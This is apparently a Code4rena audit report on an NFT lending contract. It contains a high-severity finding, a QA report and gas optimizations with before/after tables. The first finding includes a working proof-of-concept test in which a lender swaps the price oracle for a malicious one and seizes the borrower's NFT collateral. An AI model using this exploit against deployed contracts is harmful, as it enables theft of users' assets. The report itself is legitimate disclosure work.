Platform: Code4rena
Start Date: 27/04/2022
Pot Size: $50,000 MIM
Total HM: 6
Participants: 59
Period: 5 days
Judge: 0xean
Id: 113
League: ETH
Rank: 12/59
Findings: 3
Award: $1,258.83
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0x1337
Also found by: BowTiedWardens, GimelSec, catchup, cccz, gzeon, horsefacts, hyh, kenzo
The updateLoanParams
function in NFTPairWithOracle.sol
allows the lender to update parameters for an outstanding loan (duration, valuation, annual interest, and collateralization ratio) as long as they are the same or better for the borrower. These params are passed using a TokenLoanParams
struct, which includes an INFTOracle
contract field. If a lender calls updateLoanParams
with the borrower's original parameters, but a new INFTOracle
address, they can change the price oracle.
Impact: Malicious lenders can accept a borrower's requested loan, swap the price oracle address to a malicious contract, and immediately seize the borrower's collateral.
Scenario:
requestLoan
to request a loan with valuation 1000
, duration 86400
(1 day), annual interest 2000
, collateralization ratio 5000
, and the address of a trusted public price oracle.lend
and accepts the loan.updateLoanParams
with the original loan terms and the address of a malicious oracle that she controls. Since these are at least as good as the existing terms, the new parameters including the malicious oracle address are saved to the tokenLoanParams
mapping.removeCollateral
to seize Alice's collateral.Test case:
describeSnapshot("Oracle updates", () => { let tomorrow: number; let params1: ILoanParamsWithOracle; let pair: NFTPairWithOracle; before(async () => { pair = await deployPairWithOracle(); tomorrow = Math.floor(new Date().getTime() / 1000) + 86400; for (const signer of [alice, bob, carol]) { await apes.connect(signer).setApprovalForAll(pair.address, true); } params1 = { valuation: getBigNumber(1000), duration: DAY, annualInterestBPS: 2000, ltvBPS: 5000, oracle: oracle.address // A mock oracle that returns a stubbed value of 10_000 }; await pair.connect(alice).requestLoan(apeIds.aliceOne, params1, alice.address, false); }); it("Lender can change price oracle for outstanding loan", async () => { // Carol accepts Alice's loan at proposed terms await pair.connect(carol).lend(apeIds.aliceOne, params1, false); // Same parameters, different price oracle let params2 = { valuation: getBigNumber(1000), duration: DAY, annualInterestBPS: 2000, ltvBPS: 5000, oracle: maliciousOracle.address // A malicious oracle that returns a stubbed value of 0 }; // Carol can swap the price oracle by calling updateLoanParams // with the same or better terms and a different oracle address. // This oracle can be a malicious contract controlled by Carol. await pair.connect(carol).updateLoanParams(apeIds.aliceOne, params2); // Carol's malicious oracle returns a zero price. The loan is undercollateralized // and Carol can immediately seize the collateral. await pair.connect(carol).removeCollateral(apeIds.aliceOne, carol.address); expect(await apes.ownerOf(apeIds.aliceOne)).to.eq(carol.address); }); });
Recommendation:
Check that the lender has not changed the price oracle in updateLoanParams
:
NFTPairWithOracle.sol#updateLoanParams
function updateLoanParams(uint256 tokenId, TokenLoanParams memory params) public { TokenLoan memory loan = tokenLoan[tokenId]; if (loan.status == LOAN_OUTSTANDING) { // The lender can change terms so long as the changes are strictly // the same or better for the borrower: require(msg.sender == loan.lender, "NFTPair: not the lender"); TokenLoanParams memory cur = tokenLoanParams[tokenId]; require( params.duration >= cur.duration && params.valuation <= cur.valuation && params.annualInterestBPS <= cur.annualInterestBPS && params.ltvBPS <= cur.ltvBPS "NFTPair: worse params" ); require(params.oracle == cur.oracle, "NFTPair: cannot change oracle"); } else if (loan.status == LOAN_REQUESTED) { // The borrower has already deposited the collateral and can // change whatever they like require(msg.sender == loan.borrower, "NFTPair: not the borrower"); } else { // The loan has not been taken out yet; the borrower needs to // provide collateral. revert("NFTPair: no collateral"); } tokenLoanParams[tokenId] = params; emit LogUpdateLoanParams(tokenId, params.valuation, params.duration, params.annualInterestBPS, params.ltvBPS); }
#0 - cryptolyndon
2022-05-06T00:57:43Z
Confirmed, duplicate of #37
🌟 Selected for report: IllIllI
Also found by: 0x1337, 0x1f8b, 0xDjango, 0xf15ers, AuditsAreUS, BowTiedWardens, CertoraInc, Funen, GimelSec, MaratCerby, Ruhum, WatchPug, antonttc, berndartmueller, bobi, bobirichman, broccolirob, catchup, cccz, defsec, delfin454000, gs8nrv, gzeon, horsefacts, hubble, hyh, ilan, jah, joestakey, kebabsec, kenta, kenzo, m9800, mics, oyc_109, pauliax, reassor, robee, samruna, sikorico, simon135, throttle, unforgiven, z3s
425.0359 MIM - $425.04
Note: throughout this report, findings related to NFTPair.sol
also apply to NFTPairWithOracle.sol
. Rather than note that everything applies to both contracts, I'll note explicitly if a finding only applies to one or the other.
If a clone contract is not deployed and initialized in the same transaction, the init
function can be frontrun. Since clones are meant to be deployed and initiated atomically using the BoringFactory
, this is unlikely, but note that this is possible if a clone contract is deployed outside the factory.
Several public
functions are not called internally and can be declared external
:
init
NFTPair#init
validates that the collateral
address is not address(0)
, but does not check the asset
address.
setFeeTo
NFTPair#setFeeTo
does not check that the newFeeTo
parameter is not address(0)
.
ecrecover
NFTPair#requestAndBorrow
and NFTPair#takeCollateralAndLend
use the native ecrecover
function, which is susceptible to signature malleability. Since these functions also use a nonce, this can't be exploited for a replay attack as implemented, but note that this could be a vulnerability if used without a nonce. Consider using OpenZeppelin's ECDSA library, which rejects malleable signatures.
_requestLoan
_requestLoan
changes state after calling collateral.transferFrom
. It's safer and more idiomatic to perform interactions after state changing effects.
function _requestLoan( address collateralProvider, uint256 tokenId, TokenLoanParams memory params, address to, bool skim ) private { // Edge case: valuation can be zero. That effectively gifts the NFT and // is therefore a bad idea, but does not break the contract. require(tokenLoan[tokenId].status == LOAN_INITIAL, "NFTPair: loan exists"); if (skim) { require(collateral.ownerOf(tokenId) == address(this), "NFTPair: skim failed"); } else { collateral.transferFrom(collateralProvider, address(this), tokenId); } TokenLoan memory loan; loan.borrower = to; loan.status = LOAN_REQUESTED; tokenLoan[tokenId] = loan; tokenLoanParams[tokenId] = params; emit LogRequestLoan(to, tokenId, params.valuation, params.duration, params.annualInterestBPS); }
Recommendation: Move the collateral transfer interaction after state changing effects. For example:
function _requestLoan( address collateralProvider, uint256 tokenId, TokenLoanParams memory params, address to, bool skim ) private { // Edge case: valuation can be zero. That effectively gifts the NFT and // is therefore a bad idea, but does not break the contract. require(tokenLoan[tokenId].status == LOAN_INITIAL, "NFTPair: loan exists"); if (skim) { require(collateral.ownerOf(tokenId) == address(this), "NFTPair: skim failed"); } tokenLoan[tokenId].borrower = to; tokenLoan[tokenId].status = LOAN_REQUESTED; tokenLoanParams[tokenId] = params; if (!skim) collateral.transferFrom(collateralProvider, address(this), tokenId); emit LogRequestLoan(to, tokenId, params.valuation, params.duration, params.annualInterestBPS); }
Comments describing the format of lend and borrow signature hashes mention including the asset and collateral address in the signature hash, but these hashes are not actually constructed with the asset/collateral address:
// NOTE on signature hashes: the domain separator only guarantees that the // chain ID and master contract are a match, so we explicitly include the // clone address (and the asset/collateral addresses): // keccak256("Lend(address contract,uint256 tokenId,bool anyTokenId,uint128 valuation,uint64 duration,uint16 annualInterestBPS,uint256 nonce,uint256 deadline)") bytes32 private constant LEND_SIGNATURE_HASH = 0x06bcca6f35b7c1b98f11abbb10957d273a681069ba90358de25404f49e2430f8; // keccak256("Borrow(address contract,uint256 tokenId,uint128 valuation,uint64 duration,uint16 annualInterestBPS,uint256 nonce,uint256 deadline)") bytes32 private constant BORROW_SIGNATURE_HASH = 0xf2c9128b0fb8406af3168320897e5ff08f3bb536dd5f804c29ed276e93ec4336;
NFTPair
includes and uses the RebaseLibrary
library, but the Rebase
type is unused.
Both NFTPair.sol
and NFTPairWithOracle.sol
share the same ILendingClub
and INFTPair
interfaces defined inline at the top of the contract code. It's recommended to extract each interface to a reusable file to remove duplication, enable reuse, and avoid errors.
ILendingClub
The ILendingClub
interface defines a lendingConditions
function, but it is unused throughout the codebase.
#0 - cryptolyndon
2022-05-13T02:44:18Z
Nice report, thank you. Communicated clearly and efficiently, and without overly far-fetched issues to sift through.
(The zero check in init()
only serves to ensure the contract does not get called twice. Passing zero in setFeeTo()
does no harm other than having to update it again.)
🌟 Selected for report: BowTiedWardens
Also found by: 0x1f8b, 0xNazgul, 0xf15ers, 0xkatana, CertoraInc, Funen, GimelSec, Hawkeye, IllIllI, Kulk0, NoamYakov, Tadashi, Tomio, TrungOre, antonttc, catchup, defsec, delfin454000, fatherOfBlocks, gzeon, horsefacts, joestakey, kenta, oyc_109, pauliax, reassor, robee, samruna, simon135, slywaters, sorrynotsorry, z3s
174.9067 MIM - $174.91
TokenLoan
attributes directly in _requestLoan
functionWhen adding a new entry to the tokenLoan
mapping in _requestLoan
, it's cheaper to write the TokenLoan
attributes directly rather than first creating the TokenLoan
in memory.
Average impact: 327 gas.
Before:
TokenLoan memory loan; loan.borrower = to; loan.status = LOAN_REQUESTED; tokenLoan[tokenId] = loan; tokenLoanParams[tokenId] = params; emit LogRequestLoan(to, tokenId, params.valuation, params.duration, params.annualInterestBPS);
·---------------------------------------------------|---------------------------|-------------|-----------------------------· | Solc version: 0.6.12 · Optimizer enabled: true · Runs: 200 · Block limit: 30000000 gas │ ····················································|···························|·············|······························ | Methods · 27 gwei/gas · 2763.73 usd/eth │ ······················|·····························|·············|·············|·············|···············|·············· | NFTPair · requestAndBorrow · 257875 · 283651 · 276612 · 11 · 20.64 │ ······················|·····························|·············|·············|·············|···············|·············· | NFTPair · requestLoan · 103348 · 171316 · 156554 · 17 · 11.68 │ ······················|·····························|·············|·············|·············|···············|··············
After:
tokenLoan[tokenId].borrower = to; tokenLoan[tokenId].status = LOAN_REQUESTED; tokenLoanParams[tokenId] = params; emit LogRequestLoan(to, tokenId, params.valuation, params.duration, params.annualInterestBPS);
·---------------------------------------------------|---------------------------|-------------|-----------------------------· | Solc version: 0.6.12 · Optimizer enabled: true · Runs: 200 · Block limit: 30000000 gas │ ····················································|···························|·············|······························ | Methods · 27 gwei/gas · 2767.03 usd/eth │ ······················|·····························|·············|·············|·············|···············|·············· | NFTPair · requestAndBorrow · 257544 · 283320 · 276287 · 11 · 20.64 │ ······················|·····························|·············|·············|·············|···············|·············· | NFTPair · requestLoan · 103018 · 170989 · 156227 · 17 · 11.67 │ ······················|·····························|·············|·············|·············|···············|··············
TokenLoan
attributes directly in _lend
functionWhen adding a new entry to the tokenLoan
mapping in _lend
, it's cheaper to write the TokenLoan
attributes directly rather than updating attributes in memory, then writing the struct.
Average impact: 367 gas.
This optimization also applies to NFTPairWithOracle#_lend
.
Before:
loan.lender = lender; loan.status = LOAN_OUTSTANDING; loan.startTime = uint64(block.timestamp); // Do not use in 12e10 years.. tokenLoan[tokenId] = loan; emit LogLend(lender, tokenId);
·---------------------------------------------------|---------------------------|-------------|-----------------------------· | Solc version: 0.6.12 · Optimizer enabled: true · Runs: 200 · Block limit: 30000000 gas │ ····················································|···························|·············|······························ | Methods · 27 gwei/gas · 2780.81 usd/eth │ ······················|·····························|·············|·············|·············|···············|·············· | Contract · Method · Min · Max · Avg · # calls · usd (avg) │ ······················|·····························|·············|·············|·············|···············|·············· | NFTPair · lend · 80531 · 114707 · 110822 · 24 · 8.32 │ ······················|·····························|·············|·············|·············|···············|··············
After:
tokenLoan[tokenId].lender = lender; tokenLoan[tokenId].status = LOAN_OUTSTANDING; tokenLoan[tokenId].startTime = uint64(block.timestamp); emit LogLend(lender, tokenId);
·---------------------------------------------------|---------------------------|-------------|-----------------------------· | Solc version: 0.6.12 · Optimizer enabled: true · Runs: 200 · Block limit: 30000000 gas │ ····················································|···························|·············|······························ | Methods · 27 gwei/gas · 2780.81 usd/eth │ ······················|·····························|·············|·············|·············|···············|·············· | Contract · Method · Min · Max · Avg · # calls · usd (avg) │ ······················|·····························|·············|·············|·············|···············|·············· | NFTPair · lend · 80164 · 114340 · 110455 · 24 · 8.26 │ ······················|·····························|·············|·············|·············|···············|··············
tokenLoanParams
for gas refundThe token's entry in the tokenLoanParams
mapping can be cleared in repay
and removeCollateral
for a gas refund.
This optimization also applies to NFTPairWithOracle#repay
and NFTPairWithOracle#removeCollateral
.
Average impact: 1716 gas for repay
, 287 gas for removeCollateral
.
Before:
// No underflow: PROTOCOL_FEE_BPS < BPS by construction. feesEarnedShare += feeShare; delete tokenLoan[tokenId]; bentoBox.transfer(asset, from, loan.lender, totalShare - feeShare); collateral.transferFrom(address(this), loan.borrower, tokenId); emit LogRepay(from, tokenId);
// If there somehow is collateral but no accompanying loan, then anyone // can claim it by first requesting a loan with `skim` set to true, and // then withdrawing. So we might as well allow it here.. delete tokenLoan[tokenId]; collateral.transferFrom(address(this), to, tokenId); emit LogRemoveCollateral(tokenId, to);
·---------------------------------------------------|---------------------------|-------------|-----------------------------· | Solc version: 0.6.12 · Optimizer enabled: true · Runs: 200 · Block limit: 30000000 gas │ ····················································|···························|·············|······························ | Methods · 27 gwei/gas · 2780.81 usd/eth │ ······················|·····························|·············|·············|·············|···············|·············· | Contract · Method · Min · Max · Avg · # calls · usd (avg) │ ······················|·····························|·············|·············|·············|···············|·············· | NFTPair · removeCollateral · 56527 · 93754 · 83136 · 14 · 6.24 │ ······················|·····························|·············|·············|·············|···············|·············· | NFTPair · repay · 119866 · 148654 · 139744 · 24 · 10.49 │ ······················|·····························|·············|·············|·············|···············|··············
After:
NFTPair.sol#repay
// No underflow: PROTOCOL_FEE_BPS < BPS by construction. feesEarnedShare += feeShare; delete tokenLoan[tokenId]; delete tokenLoanParams[tokenId]; bentoBox.transfer(asset, from, loan.lender, totalShare - feeShare); collateral.transferFrom(address(this), loan.borrower, tokenId); emit LogRepay(from, tokenId);
NFTPair.sol#removeCollateral
// If there somehow is collateral but no accompanying loan, then anyone // can claim it by first requesting a loan with `skim` set to true, and // then withdrawing. So we might as well allow it here.. delete tokenLoan[tokenId]; delete tokenLoanParams[tokenId]; collateral.transferFrom(address(this), to, tokenId); emit LogRemoveCollateral(tokenId, to);
·---------------------------------------------------|---------------------------|-------------|-----------------------------· | Solc version: 0.6.12 · Optimizer enabled: true · Runs: 200 · Block limit: 30000000 gas │ ····················································|···························|·············|······························ | Methods · 27 gwei/gas · 2796.70 usd/eth │ ······················|·····························|·············|·············|·············|···············|·············· | Contract · Method · Min · Max · Avg · # calls · usd (avg) │ ······················|·····························|·············|·············|·············|···············|·············· | NFTPair · removeCollateral · 59001 · 94047 · 82849 · 14 · 6.26 │ ······················|·····························|·············|·············|·············|···············|·············· | NFTPair · repay · 118150 · 146938 · 138028 · 24 · 10.42 │ ······················|·····························|·············|·············|·············|···············|··············
#0 - cryptolyndon
2022-05-13T06:11:54Z
Good report, thank you.